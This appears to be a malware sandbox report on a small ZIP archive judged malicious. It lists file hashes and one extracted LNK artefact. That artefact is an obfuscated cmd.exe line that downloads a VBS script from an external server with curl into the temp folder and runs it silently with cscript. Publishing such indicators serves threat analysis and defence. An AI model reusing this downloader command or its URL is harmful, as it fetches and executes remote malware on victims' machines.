Malicious
Malicious

9aef52bf39b81ec1444a4a7e094dd51a

ZIP Archive
|
MD5: 9aef52bf39b81ec1444a4a7e094dd51a
|
Size: 1.19 KB
|
application/zip


Print
Infection Chain
Summary by MalvaGPT
Characteristics
Hash
Hash Value
MD5
9aef52bf39b81ec1444a4a7e094dd51a
Sha1
9401ae1499dcbda7b98f4ebdbdaecf85af3454a9
Sha256
ff5d24eed3c7c1be33b9976a0b75d7c986c5ddbbaaa9604c6c2714e80100fc7d
Sha384
acf897c5c928a59c35c1183011cee95ea58e371f71421eebef1cbcc5b34964c9e5d87648a53581b2e1a8f9121007ce3e
Sha512
b1713d6347370d98c4374552c4f422346c7b7d2f2872ad98abed7b09a2274be5cedb679f4bc8b5da1e2d0e577ba600269cfe1b7d08314ebe2e03fef15bf93f31
SSDeep
24:9Upa6W5XlNx1EoBbGjIHi36wa1MoUn4lOAjUMdZM/rh:9Qa6WbNxqodGwhLROAjUvh
TLSH
1221CA81DE766514D703C778C1C6ED058881136B0B9A37AFE53CD8817D10AC0FE02E99
Artefacts
Name
Value
LNK: Command Execution

cmd.exe /v:on /c "set NYEXvndA=5VJFIuopK&& set XRRLEDNr3B2HFw=curl&& set RmSbMQELG=crYkyFjxhw&& set LxUP3rdbesrvXN=cscript&& set dPFozyhBfg6S4g=%temp%\7NGWY2g0.vbs&& set nUzqftr0sv6qj=https://vmi3176001.contaboserver.net/md/kaykabr/ea1vOu7x59.vbs&& set CdF7HDz9ygu=L3IxLQ&& !XRRLEDNr3B2HFw! -skLo "!dPFozyhBfg6S4g!" "!nUzqftr0sv6qj!"&& !LxUP3rdbesrvXN! //nologo //b "!dPFozyhBfg6S4g!""

9aef52bf39b81ec1444a4a7e094dd51a (1.19 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙